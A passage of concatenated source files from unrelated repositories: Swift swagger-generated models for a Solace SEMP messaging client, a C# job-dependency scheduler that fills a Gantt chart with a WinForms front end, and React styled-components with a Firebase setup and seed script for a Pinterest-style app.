public var responseCode: Int32?
public init() {}
// MARK: JSONEncodable
func encodeToJSON() -> AnyObject {
var nillableDictionary = [String:AnyObject?]()
nillableDictionary["error"] = self.error?.encodeToJSON()
nillableDictionary["paging"] = self.paging?.encodeToJSON()
nillableDictionary["request"] = self.request?.encodeToJSON()
nillableDictionary["responseCode"] = self.responseCode?.encodeToJSON()
let dictionary: [String:AnyObject] = APIHelper.rejectNil(nillableDictionary) ?? [:]
return dictionary
}
}
<file_sep>/solace_semp_client/Classes/Swaggers/Models/SystemInformation.swift
//
// SystemInformation.swift
//
// Generated by swagger-codegen
// https://github.com/swagger-api/swagger-codegen
//
import Foundation
public class SystemInformation: JSONEncodable {
/** The platform that is running the API. */
public var platform: String?
/** The SEMP API version. */
public var sempVersion: String?
public init() {}
// MARK: JSONEncodable
func encodeToJSON() -> AnyObject {
var nillableDictionary = [String:AnyObject?]()
nillableDictionary["platform"] = self.platform
nillableDictionary["sempVersion"] = self.sempVersion
let dictionary: [String:AnyObject] = APIHelper.rejectNil(nillableDictionary) ?? [:]
return dictionary
}
}
<file_sep>/solace_semp_client/Classes/Swaggers/Models/MsgVpnAclProfileSubscribeException.swift
//
// MsgVpnAclProfileSubscribeException.swift
//
// Generated by swagger-codegen
// https://github.com/swagger-api/swagger-codegen
//
import Foundation
public class MsgVpnAclProfileSubscribeException: JSONEncodable {
public enum TopicSyntax: String {
case Smf = "smf"
case Mqtt = "mqtt"
}
/** The name of the ACL Profile. */
public var aclProfileName: String?
/** The name of the Message VPN. */
public var msgVpnName: String?
/** The name of the Topic for the Exception to the default action taken. May include wildcard characters. */
public var subscribeExceptionTopic: String?
/** The syntax of the Topic for the Exception to the default action taken. The allowed values and their meaning are: <pre> \"smf\" - Topic uses SMF syntax. \"mqtt\" - Topic uses MQTT syntax. </pre> */
public var topicSyntax: TopicSyntax?
public init() {}
// MARK: JSONEncodable
func encodeToJSON() -> AnyObject {
var nillableDictionary = [String:AnyObject?]()
nillableDictionary["aclProfileName"] = self.aclProfileName
nillableDictionary["msgVpnName"] = self.msgVpnName
nillableDictionary["subscribeExceptionTopic"] = self.subscribeExceptionTopic
nillableDictionary["topicSyntax"] = self.topicSyntax?.rawValue
let dictionary: [String:AnyObject] = APIHelper.rejectNil(nillableDictionary) ?? [:]
return dictionary
}
}
<file_sep>/solace_semp_client/Classes/Swaggers/APIs/ClientUsernameAPI.swift
//
// ClientUsernameAPI.swift
//
// Generated by swagger-codegen
// https://github.com/swagger-api/swagger-codegen
//
import Alamofire
public class ClientUsernameAPI: APIBase {
/**
Gets a list of Client Username objects.
- parameter msgVpnName: (path) The msgVpnName of the Message VPN.
- parameter count: (query) Limit the count of objects in the response. See [Count](#count \"Description of the syntax of the `count` parameter\"). (optional, default to 10)
- parameter cursor: (query) The cursor, or position, for the next page of objects. See [Cursor](#cursor \"Description of the syntax of the `cursor` parameter\"). (optional)
- parameter _where: (query) Include in the response only objects where certain conditions are true. See [Where](#where \"Description of the syntax of the `where` parameter\"). (optional)
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- parameter completion: completion handler to receive the data and the error objects
*/
public class func getMsgVpnClientUsernames(msgVpnName msgVpnName: String, count: Int32? = nil, cursor: String? = nil, _where: [String]? = nil, select: [String]? = nil, completion: ((data: MsgVpnClientUsernamesResponse?, error: ErrorType?) -> Void)) {
getMsgVpnClientUsernamesWithRequestBuilder(msgVpnName: msgVpnName, count: count, cursor: cursor, _where: _where, select: select).execute { (response, error) -> Void in
completion(data: response?.body, error: error);
}
}
/**
Gets a list of Client Username objects.
- GET /msgVpns/{msgVpnName}/clientUsernames
- Gets a list of Client Username objects. Attribute|Identifying|Write-Only|Deprecated :---|:---:|:---:|:---: clientUsername|x|| msgVpnName|x|| password||x| A SEMP client authorized with a minimum access scope/level of \"vpn/readonly\" is required to perform this operation. This has been available since 2.0.
- BASIC:
- type: basic
- name: basicAuth
- examples: [{contentType=application/json, example={
"data" : [ {
"password" : "<PASSWORD>",
"subscriptionManagerEnabled" : true,
"clientUsername" : "clientUsername",
"clientProfileName" : "clientProfileName",
"msgVpnName" : "msgVpnName",
"guaranteedEndpointPermissionOverrideEnabled" : true,
"aclProfileName" : "aclProfileName",
"enabled" : true
}, {
"password" : "<PASSWORD>",
"subscriptionManagerEnabled" : true,
"clientUsername" : "clientUsername",
"clientProfileName" : "clientProfileName",
"msgVpnName" : "msgVpnName",
"guaranteedEndpointPermissionOverrideEnabled" : true,
"aclProfileName" : "aclProfileName",
"enabled" : true
} ],
"meta" : {
"request" : {
"method" : "method",
"uri" : "uri"
},
"paging" : {
"nextPageUri" : "nextPageUri",
"cursorQuery" : "cursorQuery"
},
"error" : {
"code" : 0,
"description" : "description",
"status" : "status"
},
"responseCode" : 6
},
"links" : [ {
"uri" : "uri"
}, {
"uri" : "uri"
} ]
}}]
- parameter msgVpnName: (path) The msgVpnName of the Message VPN.
- parameter count: (query) Limit the count of objects in the response. See [Count](#count \"Description of the syntax of the `count` parameter\"). (optional, default to 10)
- parameter cursor: (query) The cursor, or position, for the next page of objects. See [Cursor](#cursor \"Description of the syntax of the `cursor` parameter\"). (optional)
- parameter _where: (query) Include in the response only objects where certain conditions are true. See [Where](#where \"Description of the syntax of the `where` parameter\"). (optional)
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- returns: RequestBuilder<MsgVpnClientUsernamesResponse>
*/
public class func getMsgVpnClientUsernamesWithRequestBuilder(msgVpnName msgVpnName: String, count: Int32? = nil, cursor: String? = nil, _where: [String]? = nil, select: [String]? = nil) -> RequestBuilder<MsgVpnClientUsernamesResponse> {
var path = "/msgVpns/{msgVpnName}/clientUsernames"
path = path.stringByReplacingOccurrencesOfString("{msgVpnName}", withString: "\(msgVpnName)", options: .LiteralSearch, range: nil)
let URLString = solace_semp_clientAPI.basePath + path
let nillableParameters: [String:AnyObject?] = [
"count": count?.encodeToJSON(),
"cursor": cursor,
"where": _where,
"select": select
]
let parameters = APIHelper.rejectNil(nillableParameters)
let convertedParameters = APIHelper.convertBoolToString(parameters)
let requestBuilder: RequestBuilder<MsgVpnClientUsernamesResponse>.Type = solace_semp_clientAPI.requestBuilderFactory.getBuilder()
return requestBuilder.init(method: "GET", URLString: URLString, parameters: convertedParameters, isBody: false)
}
}
<file_sep>/solace_semp_client/Classes/Swaggers/Models/MsgVpnAclProfileLinks.swift
//
// MsgVpnAclProfileLinks.swift
//
// Generated by swagger-codegen
// https://github.com/swagger-api/swagger-codegen
//
import Foundation
public class MsgVpnAclProfileLinks: JSONEncodable {
/** The URI of this MsgVpnAclProfile's clientConnectExceptions collection. */
public var clientConnectExceptionsUri: String?
/** The URI of this MsgVpnAclProfile's publishExceptions collection. */
public var publishExceptionsUri: String?
/** The URI of this MsgVpnAclProfile's subscribeExceptions collection. */
public var subscribeExceptionsUri: String?
/** The URI of this MsgVpnAclProfile object. */
public var uri: String?
public init() {}
// MARK: JSONEncodable
func encodeToJSON() -> AnyObject {
var nillableDictionary = [String:AnyObject?]()
nillableDictionary["clientConnectExceptionsUri"] = self.clientConnectExceptionsUri
nillableDictionary["publishExceptionsUri"] = self.publishExceptionsUri
nillableDictionary["subscribeExceptionsUri"] = self.subscribeExceptionsUri
nillableDictionary["uri"] = self.uri
let dictionary: [String:AnyObject] = APIHelper.rejectNil(nillableDictionary) ?? [:]
return dictionary
}
}
<file_sep>/solace_semp_client/Classes/Swaggers/Models/MsgVpnMqttSession.swift
//
// MsgVpnMqttSession.swift
//
// Generated by swagger-codegen
// https://github.com/swagger-api/swagger-codegen
//
import Foundation
public class MsgVpnMqttSession: JSONEncodable {
public enum MqttSessionVirtualRouter: String {
case Primary = "primary"
case Backup = "backup"
}
/** Enable or disable the MQTT Session. When disabled, the client is disconnected, new messages matching QoS 0 subscriptions are discarded, and new messages matching QoS 1 subscriptions are stored for future delivery. The default value is `false`. */
public var enabled: Bool?
/** The Client ID of the MQTT Session, which corresponds to the ClientId provided in the MQTT CONNECT packet. */
public var mqttSessionClientId: String?
/** The Virtual Router of the MQTT Session. The allowed values and their meaning are: <pre> \"primary\" - The MQTT Session belongs to the primary Virtual Router. \"backup\" - The MQTT Session belongs to the backup Virtual Router. </pre> */
public var mqttSessionVirtualRouter: MqttSessionVirtualRouter?
/** The name of the Message VPN. */
public var msgVpnName: String?
/** The owner of the MQTT Session. For externally-created sessions this defaults to the Client Username of the connecting client. For management-created sessions this defaults to empty. Before configuring, the MQTT Session must be disabled. The default value is `\"\"`. */
public var owner: String?
public init() {}
// MARK: JSONEncodable
func encodeToJSON() -> AnyObject {
var nillableDictionary = [String:AnyObject?]()
nillableDictionary["enabled"] = self.enabled
nillableDictionary["mqttSessionClientId"] = self.mqttSessionClientId
nillableDictionary["mqttSessionVirtualRouter"] = self.mqttSessionVirtualRouter?.rawValue
nillableDictionary["msgVpnName"] = self.msgVpnName
nillableDictionary["owner"] = self.owner
let dictionary: [String:AnyObject] = APIHelper.rejectNil(nillableDictionary) ?? [:]
return dictionary
}
}
<file_sep>/solace_semp_client/Classes/Swaggers/Models/MsgVpnRestDeliveryPointLinks.swift
//
// MsgVpnRestDeliveryPointLinks.swift
//
// Generated by swagger-codegen
// https://github.com/swagger-api/swagger-codegen
//
import Foundation
public class MsgVpnRestDeliveryPointLinks: JSONEncodable {
/** The URI of this MsgVpnRestDeliveryPoint's queueBindings collection. */
public var queueBindingsUri: String?
/** The URI of this MsgVpnRestDeliveryPoint's restConsumers collection. */
public var restConsumersUri: String?
/** The URI of this MsgVpnRestDeliveryPoint object. */
public var uri: String?
public init() {}
// MARK: JSONEncodable
func encodeToJSON() -> AnyObject {
var nillableDictionary = [String:AnyObject?]()
nillableDictionary["queueBindingsUri"] = self.queueBindingsUri
nillableDictionary["restConsumersUri"] = self.restConsumersUri
nillableDictionary["uri"] = self.uri
let dictionary: [String:AnyObject] = APIHelper.rejectNil(nillableDictionary) ?? [:]
return dictionary
}
}
|
a0423df0aa3bef3479287dea9bd4a9e4d6fe14c9
|
[
"Swift"
] | 39 |
Swift
|
unixunion/swift_solace_semp_client
|
77756c5e659e8360704ce76089946105ce6ac347
|
a82a88e3ab1cf10def2bf80cb7fb1948eb5697f9
|
refs/heads/master
|
<file_sep>using System.Collections.Generic;
namespace ScheduleTask2
{
public class DependenceTree
{
public Job Root { get; }
public List<Job> Jobs { get; }
public DependenceTree(List<Job> jobs, Job root)
{
this.Jobs = jobs;
this.Root = root;
}
public void SetPriorities()
{
Queue<Job> q = new Queue<Job>();
if (Root == null)
{
return;
}
q.Enqueue(Root);
int priorityIndex = 0;
while (true)
{
int nodeCount = q.Count;
if (nodeCount == 0)
{
return;
}
while (nodeCount > 0)
{
Job newnode = q.Peek();
newnode.Priority = priorityIndex;
priorityIndex++;
q.Dequeue();
foreach (var dependentNode in newnode.InDependeces)
{
q.Enqueue(dependentNode);
}
nodeCount--;
}
}
}
}
}<file_sep>using System;
namespace ScheduleTask2
{
public class InvalidWorkersCountException : Exception
{
public int Value;
public InvalidWorkersCountException(string message, int value) : base(message)
{
Value = value;
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.IO;
namespace ScheduleTask2
{
internal class Program
{
public static void Main(string[] args)
{
var tree = CreateTreeFromFile("input.txt");
tree.SetPriorities();
var chart = new GanttChart(3);
chart.Fill(tree);
}
static DependenceTree CreateTreeFromFile(string path)
{
var streamReader = new StreamReader(path);
int jobCount = int.Parse(streamReader.ReadLine());
int dependenceCount = int.Parse(streamReader.ReadLine());
var dependenceDict = new Dictionary<char, char>();
for (int i = 0; i < dependenceCount; i++)
{
var dependencePair = streamReader.ReadLine().Split(' ');
dependenceDict.Add(char.Parse(dependencePair[0]), char.Parse(dependencePair[1]));
}
return DependenceTreeCreator.CreateFromDependenceDictionary(dependenceDict, jobCount);
}
}
}<file_sep>using System.Collections.Generic;
using System.Linq;
namespace ScheduleTask2
{
public class GanttChart
{
public int WorkersCount { get; }
public List<List<Job>> Chart { get; private set; }
public GanttChart(int workersCount)
{
if (workersCount <= 0)
{
throw new InvalidWorkersCountException("Number of workers was 0 or less", workersCount);
}
this.WorkersCount = workersCount;
Chart = new List<List<Job>>();
for (int i = 0; i < workersCount; i++)
{
Chart.Add(new List<Job>());
}
}
public void Fill(DependenceTree dependenceTree)
{
var jobs = (from job in dependenceTree.Jobs
orderby job.Priority descending
select job).ToList();
int currentWorkerIndex = 0;
int workerIndexShift = 0;
bool isReady;
foreach (var job in jobs)
{
if (currentWorkerIndex == Chart.Count)
{
currentWorkerIndex = workerIndexShift;
workerIndexShift = 0;
}
isReady = CheckJob(job, currentWorkerIndex, Chart[currentWorkerIndex].Count);
if (!isReady)
{
var oldWorkerIndex = currentWorkerIndex;
var ascendingWorkers = from worker in Chart
orderby worker.Count ascending
select worker;
foreach (var worker in ascendingWorkers)
{
currentWorkerIndex = Chart.FindIndex(x => x == worker);
if (CheckJob(job, currentWorkerIndex, Chart[currentWorkerIndex].Count))
{
Chart[currentWorkerIndex].Add(job);
break;
}
}
workerIndexShift = currentWorkerIndex + 1;
currentWorkerIndex = oldWorkerIndex;
}
else
{
Chart[currentWorkerIndex].Add(job);
currentWorkerIndex++;
}
}
}
private bool CheckJob(Job job, int suggestedWorkerIndex, int suggestedJobIndex)
{
for (int i = 0; i < suggestedWorkerIndex; i++)
{
var worker = Chart[i];
for (int j = suggestedJobIndex; j < worker.Count; j++)
{
if (worker[j].OutDependence == job)
{
return false;
}
}
}
return true;
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using ScheduleTask2;
namespace View
{
public partial class DataInputView : Form
{
List<Tuple<char, char>> dependensies = new List<Tuple<char, char>>();
public DataInputView()
{
InitializeComponent();
}
private void LimitTextToNumbers(object sender, KeyPressEventArgs args)
{
args.Handled = !char.IsDigit(args.KeyChar) & !char.IsControl(args.KeyChar);
}
private void TasksNumberFilled(object sender, EventArgs e)
{
int alphabetLength = 25;
int numberOfTasks;
if (!int.TryParse(tasksNumberTextField.Text, out numberOfTasks) || numberOfTasks > alphabetLength)
{
MessageBox.Show($"The value {tasksNumberTextField.Text} is improper. Try to fill it with an integer lower or equal to {alphabetLength}");
numberOfTasks = 0;
tasksNumberTextField.Text = "";
tasksNumberTextField.Focus();
return;
}
UpdateNodeBoxes(numberOfTasks);
}
private void UpdateNodeBoxes(int numberOfTasks)
{
int alphabetOffSet = 65; // offset to convert byte to char
leftNodeBox.Items.Clear();
rightNodeBox.Items.Clear();
for (int i = 0; i < numberOfTasks; i++)
{
leftNodeBox.Items.Add((char)(i+alphabetOffSet));
rightNodeBox.Items.Add((char)(i+alphabetOffSet));
}
}
private void addConnectionButton_Click(object sender, EventArgs e)
{
if (rightNodeBox.SelectedItem == null || leftNodeBox.SelectedItem == null)
{
MessageBox.Show("One or more jobs were not selected in the checkboxes. Try selecting both!");
return;
}
if (rightNodeBox.SelectedItem.ToString() == leftNodeBox.SelectedItem.ToString())
{
MessageBox.Show("Unable to add dependency between simmilar job. Try choosing another job in one of the comboboxes");
return;
}
Tuple<char, char> pairToInput = new Tuple<char, char>(leftNodeBox.SelectedItem.ToString()[0], rightNodeBox.SelectedItem.ToString()[0]);
if (dependensies.Contains(pairToInput))
{
MessageBox.Show("Unable to add dependency that is already in the list!");
return;
}
dependensies.Add(new Tuple<char, char>(pairToInput.Item1, pairToInput.Item2));
UpdateDependencyList();
}
private void UpdateDependencyList()
{
dependenciesList.Items.Clear();
foreach(Tuple<char, char> keyValue in dependensies)
{
dependenciesList.Items.Add(keyValue.Item1.ToString() + " -> " + keyValue.Item2.ToString());
}
}
private void removeDependencyButton_Click(object sender, EventArgs e)
{
if (dependenciesList.SelectedItem == null)
{
MessageBox.Show("No dependency selected to delete. Firstly choose one from the list");
return;
}
string stringFromList = dependenciesList.SelectedItem.ToString();
Tuple<char, char> valueToDelete = new Tuple<char, char>(stringFromList[0], stringFromList[stringFromList.Length-1]);
dependensies.Remove(valueToDelete);
UpdateDependencyList();
}
private void computeButton_Click(object sender, EventArgs e)
{
int numberOfEmployees, numberOfJobs;
if (!int.TryParse(tasksNumberTextField.Text, out numberOfJobs))
{
MessageBox.Show($"Unable to convert {tasksNumberTextField.Text} to integer for NUMBER OF EMPLOYEES. Try again!");
return;
}
if (!int.TryParse(empNumberTextField.Text, out numberOfEmployees))
{
MessageBox.Show($"Unable to convert {empNumberTextField.Text} to integer for NUMBER OF EMPLOYEES. Try again!");
return;
}
if (dependensies.Count == 0)
{
MessageBox.Show("There are no dependencies in the list");
return;
}
ComputeWithData(numberOfEmployees, numberOfJobs, dependensies);
}
private void ComputeWithData(int numberOfEmployees, int numberOfJobs, List<Tuple<char, char>> dependecies)
{
/// ----- CREATING A CHART IN MODEL ------
///
var dict = DependenceTreeCreator.ConvertListToDict(dependecies);
GanttChart chart = null;
try
{
var tree = DependenceTreeCreator.CreateFromDependenceDictionary(dict, numberOfJobs);
tree.SetPriorities();
chart = new GanttChart(numberOfEmployees);
chart.Fill(tree);
}
catch (InvalidDependenciesCountException e)
{
MessageBox.Show("Error: " + e.Message);
return;
}
catch (InvalidJobCountException e)
{
MessageBox.Show("Error: " + e.Message);
return;
}
catch (InvalidWorkersCountException e)
{
MessageBox.Show("Error: " + e.Message);
return;
}
catch (Exception)
{
MessageBox.Show("Something bad happened. Try again!");
return;
}
GanttChartView ganttChartView = new GanttChartView();
ganttChartView.Show();
ganttChartView.ShowDataOnChart(chart.Chart);
}
private void ClearListButton_Click(object sender, EventArgs e)
{
dependensies.Clear();
UpdateDependencyList();
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using ScheduleTask2;
using System.Windows.Forms;
namespace View
{
public partial class GanttChartView : Form
{
public GanttChartView()
{
InitializeComponent();
}
public void ShowDataOnChart(List<List<Job>> chart)
{
GanttChart.Rows.Clear();
GanttChart.Columns.Clear();
for (int i = 0; i < chart[0].Count; i++)
{
var column = new DataGridViewTextBoxColumn();
column.Width = 60;
column.Name = $"column{i}";
column.HeaderText = $"day {i + 1}";
GanttChart.Columns.Add(column);
}
GanttChart.RowHeadersWidth = 100;
GanttChart.Rows.Add(chart[0]);
for (int i = 0; i < chart.Count; i++)
{
var currRow = (DataGridViewRow) GanttChart.Rows[0].Clone();
currRow.HeaderCell.Value = $"employee {i+1}";
var j = 0;
foreach(var job in chart[i])
{
currRow.Cells[j].Value = job.Name;
j++;
}
GanttChart.Rows.Add(currRow);
}
GanttChart.Rows.RemoveAt(0);
}
private void GanttChart_CellContentClick(object sender, DataGridViewCellEventArgs e)
{
}
}
}
<file_sep>using System.Collections.Generic;
namespace ScheduleTask2
{
// legasy
public class DependenceTreeNode
{
public Job Job { get; }
public List<DependenceTreeNode> InDependeces { get; set; }
public DependenceTreeNode OutDependence { get; set; }
public int Priority { get; set; }
public DependenceTreeNode(Job job)
{
this.Job = job;
InDependeces = new List<DependenceTreeNode>();
OutDependence = null;
Priority = -1;
}
}
}<file_sep>using System;
namespace ScheduleTask2
{
public class InvalidJobCountException : Exception
{
public int Value;
public InvalidJobCountException(string message, int value) : base(message)
{
Value = value;
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
namespace ScheduleTask2
{
public static class DependenceTreeCreator
{
public static DependenceTree CreateFromDependenceDictionary(Dictionary<char, char> dictionary, int jobCount)
{
if (jobCount <= 0)
{
throw new InvalidJobCountException("Number of jobs was 0 or less", jobCount);
}
if (jobCount - 1!= dictionary.Count)
{
throw new InvalidDependenciesCountException("N jobs should have N - 1 dependencies", jobCount, dictionary.Count);
}
var jobNodes = CreateListOfJobs(jobCount);
foreach (var dependence in dictionary)
{
var receiver = (from jobNode in jobNodes
where jobNode.Name == dependence.Value
select jobNode).First();
var giver = (from jobNode in jobNodes
where jobNode.Name == dependence.Key
select jobNode).First();
giver.OutDependence = receiver;
receiver.InDependeces.Add(giver);
}
var root = FindRoot(jobNodes[0]);
return new DependenceTree(jobNodes, root);
}
private static Job FindRoot(Job jobNode)
{
while (jobNode.OutDependence != null)
{
jobNode = jobNode.OutDependence;
}
return jobNode;
}
private static List<Job> CreateListOfJobs(int jobCount)
{
Job.ResetJobNames();
var list = new List<Job>();
for (int i = 0; i < jobCount; i++)
{
list.Add(new Job());
}
return list;
}
public static Dictionary<char, char> ConvertListToDict(List<Tuple<char, char>> list)
{
var dict = new Dictionary<char, char>();
foreach(var listItem in list)
{
dict.Add(listItem.Item1, listItem.Item2);
}
return dict;
}
}
}<file_sep>using System;
namespace ScheduleTask2
{
public class InvalidDependenciesCountException : Exception
{
public int JobCount;
public int DependenciesCount;
public InvalidDependenciesCountException(string message, int jobCount, int dependenciesCount) : base(message)
{
JobCount = jobCount;
DependenciesCount = dependenciesCount;
}
}
}<file_sep>using System;
using System.Collections.Generic;
namespace ScheduleTask2
{
public class Job
{
private static char jobNamer = 'A';
public char Name { get; }
public List<Job> InDependeces { get; set; }
public Job OutDependence { get; set; }
public int Priority { get; set; }
public Job()
{
if (jobNamer == 'Z')
{
throw new Exception("Unable creating new job. Job limit achieved.");
}
Name = jobNamer;
InDependeces = new List<Job>();
OutDependence = null;
Priority = -1;
jobNamer++;
}
public override string ToString()
{
return Name.ToString();
}
public static void ResetJobNames()
{
jobNamer = 'A';
}
}
}
|
ba2abd2b8141caa3b2bd5aca36e932753f12eddd
|
[
"C#"
] | 11 |
C#
|
rdsalakhov/ADSLab3
|
461caa174736a25254dfac068a37e3f783d12d8e
|
a43a09ab4879ad117c1e0715ef4094c71626bc01
|
refs/heads/master
|
<file_sep>/* eslint-disable */
import React from 'react';
import { CardContainer } from './containers/cards';
import { FooterContainer } from './containers/footer';
import { HeaderContainer } from './containers/header';
import { JumbotronContainer } from './containers/jumbotron';
export default function App() {
return (
<>
<HeaderContainer />
<JumbotronContainer />
<CardContainer />
<FooterContainer />
</>
);
}
<file_sep>/* eslint-disable */
import styled from 'styled-components/macro';
export const Inner = styled.div`
display: flex;
align-items: center;
flex-direction: ${({ direction }) => direction};
justify-content: space-between;
max-width: 1280px;
margin: auto;
width: 100%;
@media (max-width: 1000px) {
flex-direction: column;
}
`;
export const Pane = styled.div`
position: absolute;
top: 128px;
width: 50%;
margin-left: 120px;
@media screen and (max-width: 768px) {
width: 100%;
}
@media screen and (max-width: 600px) {
width: 100%;
}
`;
export const Panes = styled.div``;
export const Title = styled.h1`
/* Title */
width: 509px;
height: 34px;
font-family: Inter;
font-style: normal;
font-weight: bold;
font-size: 24px;
line-height: 34px;
/* identical to box height, or 142% */
margin-bottom: 7px;
letter-spacing: 0.3px;
color: #000000;
@media (max-width: 768px) {
font-size: 20px;
}
@media (max-width: 600px) {
font-size: 18px;
}
`;
export const SubTitle = styled.h2`
/* SubTitle */
max-width: 650px;
height: 71px;
font-family: Inter;
font-style: normal;
font-weight: normal;
font-size: 14px;
line-height: 24px;
/* or 171% */
letter-spacing: 0.3px;
color: #656974;
@media (max-width: 768px) {
font-size: 12px;
max-width: 550px;
}
@media (max-width: 600px) {
font-size: 12px;
max-width: 400px;
}
`;
export const Image = styled.img``;
export const Container = styled.div`
margin-bottom: 22px;
`;<file_sep>/* eslint-disable */
/* eslint-disable */
import { AddBox, Dashboard, Notifications, Search } from '@material-ui/icons';
import React from 'react';
import { Footer } from '../components';
export function FooterContainer() {
return (
<Footer>
<Footer.Group>
<Footer.Left>
<Footer.Link href="#"><Search /></Footer.Link>
<Footer.Link href="#"><Dashboard /></Footer.Link>
<Footer.Link href="#"><Notifications /> 1 </Footer.Link>
</Footer.Left>
<Footer.Right>
<Footer.Link href="#"><AddBox /></Footer.Link>
</Footer.Right>
</Footer.Group>
</Footer>
);
}
<file_sep>/* eslint-disable */
import React from 'react';
import { Container, Frame, Left, Right, FarRight, Group, Link } from './styles/header';
export default function Header({ children, ...restProps }) {
return <Container {...restProps}>{children}</Container>;
}
Header.Frame = function HeaderFrame({ children, ...restProps }) {
return <Frame {...restProps}>{children}</Frame>;
}
Header.Left = function HeaderLeft({ children, ...restProps }) {
return <Left {...restProps}>{children}</Left>;
}
Header.Right = function HeaderRight({ children, ...restProps }) {
return <Right {...restProps}>{children}</Right>;
}
Header.FarRight = function HeaderFarRight({ children, ...restProps }) {
return <FarRight {...restProps}>{children}</FarRight>;
}
Header.Group = function HeaderGroup({ children, ...restProps }) {
return <Group {...restProps}>{children}</Group>;
}
Header.Link = function HeaderLink({ children, ...restProps }) {
return <Link {...restProps}>{children}</Link>;
}
<file_sep>/* eslint-disable */
export { default as Header } from './header';
export { default as Jumbotron } from './jumbotron';
export { default as Card } from './card';
export { default as Footer } from './footer';<file_sep>/* eslint-disable */
import React from 'react';
import { Card } from '../components';
export function CardContainer() {
return (
<Card>
<Card.Top></Card.Top>
</Card>
)
}
<file_sep>/* eslint-disable */
import React from 'react';
import { Container, Group, Top, Bottom, Right, Left, Text, Title, SubTitle, Image } from './styles/card';
export default function Card({ children, ...restProps }) {
return <Container {...restProps}>{children}</Container>;
}
Card.Group = function CardGroup({ children, ...restProps }) {
return <Group {...restProps}>{children}</Group>;
}
Card.Top = function CardTop({ children, ...restProps }) {
return <Top {...restProps}>{children}</Top>;
}
Card.Bottom = function CardBottom({ children, ...restProps }) {
return <Bottom {...restProps}>{children}</Bottom>;
}
Card.Right = function CardRight({ children, ...restProps }) {
return <Right {...restProps}>{children}</Right>;
}
Card.Left = function CardRight({ children, ...restProps }) {
return <Left {...restProps}>{children}</Left>;
}
Card.Text = function CardRight({ children, ...restProps }) {
return <Text {...restProps}>{children}</Text>;
}
Card.Title = function CardTitle({ children, ...restProps }) {
return <Title {...restProps}>{children}</Title>;
}
Card.SubTitle = function CardSubTitle({ children, ...restProps }) {
return <SubTitle {...restProps}>{children}</SubTitle>;
}
Card.Image = function CardImage({ ...restProps }) {
return <Image {...restProps} />
}<file_sep>export function seedDatabase(firebase) {
function getUUID() {
// eslint gets funny about bitwise
/* eslint-disable */
return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, c => {
const piece = (Math.random() * 16) | 0;
const elem = c === 'x' ? piece : (piece & 0x3) | 0x8;
return elem.toString(16);
});
/* eslint-enable */
}
/* Design
============================================ */
// 1
firebase.firestore().collection('design').add({
id: getUUID(),
title: '<NAME>',
user: '<NAME>',
like: '1',
comment: '2',
slug: 'design-esther-obrien',
});
// 2
firebase.firestore().collection('design').add({
id: getUUID(),
title: '<NAME>',
user: '<NAME>',
like: '0',
comment: '1',
slug: 'design-mamie-grant',
});
// 3
firebase.firestore().collection('design').add({
id: getUUID(),
title: '<NAME>',
user: '<NAME>',
like: '1',
comment: '0',
slug: 'design-leila-bowen',
});
// 4
firebase.firestore().collection('design').add({
id: getUUID(),
title: '<NAME>',
user: '<NAME>',
like: '1',
comment: '2',
slug: 'design-brett-lambert',
});
// 5
firebase.firestore().collection('design').add({
id: getUUID(),
title: '<NAME>',
user: '<NAME>',
like: '1',
comment: '2',
slug: 'design-clifford-walker',
});
/* HR
============================================ */
// 1
firebase.firestore().collection('hr').add({
id: getUUID(),
title: '<NAME>',
user: '<NAME>',
like: '1',
comment: '2',
slug: 'hr-esther-obrien',
});
// 2
firebase.firestore().collection('hr').add({
id: getUUID(),
title: '<NAME>',
user: '<NAME>',
like: '0',
comment: '1',
slug: 'hr-mamie-grant',
});
// 3
firebase.firestore().collection('hr').add({
id: getUUID(),
title: '<NAME>',
user: '<NAME>',
like: '1',
comment: '0',
slug: 'hr-leila-bowen',
});
// 4
firebase.firestore().collection('hr').add({
id: getUUID(),
title: '<NAME>',
user: '<NAME>',
like: '1',
comment: '2',
slug: 'hr-brett-lambert',
});
// 5
firebase.firestore().collection('hr').add({
id: getUUID(),
title: '<NAME>',
user: '<NAME>',
like: '1',
comment: '2',
slug: 'hr-clifford-walker',
});
/* Develop
============================================ */
// 1
firebase.firestore().collection('develop').add({
id: getUUID(),
title: '<NAME>',
user: '<NAME>',
like: '1',
comment: '2',
slug: 'develop-esther-obrien',
});
// 2
firebase.firestore().collection('develop').add({
id: getUUID(),
title: '<NAME>',
user: '<NAME>',
like: '0',
comment: '1',
slug: 'develop-mamie-grant',
});
// 3
firebase.firestore().collection('develop').add({
id: getUUID(),
title: '<NAME>',
user: '<NAME>',
like: '1',
comment: '0',
slug: 'develop-leila-bowen',
});
// 4
firebase.firestore().collection('develop').add({
id: getUUID(),
title: '<NAME>',
user: '<NAME>',
like: '1',
comment: '2',
slug: 'develop-brett-lambert',
});
// 5
firebase.firestore().collection('develop').add({
id: getUUID(),
title: '<NAME>',
user: '<NAME>',
like: '1',
comment: '2',
slug: 'develop-clifford-walker',
});
}<file_sep>import Firebase from "firebase/app";
import "firebase/firestore";
import "firebase/auth";
import { seedDatabase } from "../seed";
// we need to somehow seed the database
// we need a config here
const config = {
// For Firebase JS SDK v7.20.0 and later, measurementId is optional
apiKey: "<KEY>",
authDomain: "pinterest-57ffa.firebaseapp.com",
databaseURL: "https://pinterest-57ffa-default-rtdb.europe-west1.firebasedatabase.app",
projectId: "pinterest-57ffa",
storageBucket: "pinterest-57ffa.appspot.com",
messagingSenderId: "1057576434343",
appId: "1:1057576434343:web:275b4db2cf2c085e0af982",
measurementId: "G-F1613DZ2H8"
};
const firebase = Firebase.initializeApp(config);
seedDatabase(firebase);
export { firebase };<file_sep>/* eslint-disable */
import styled from 'styled-components/macro';
export const Container = styled.div`
position: fixed;
display: flex;
align-content: center;
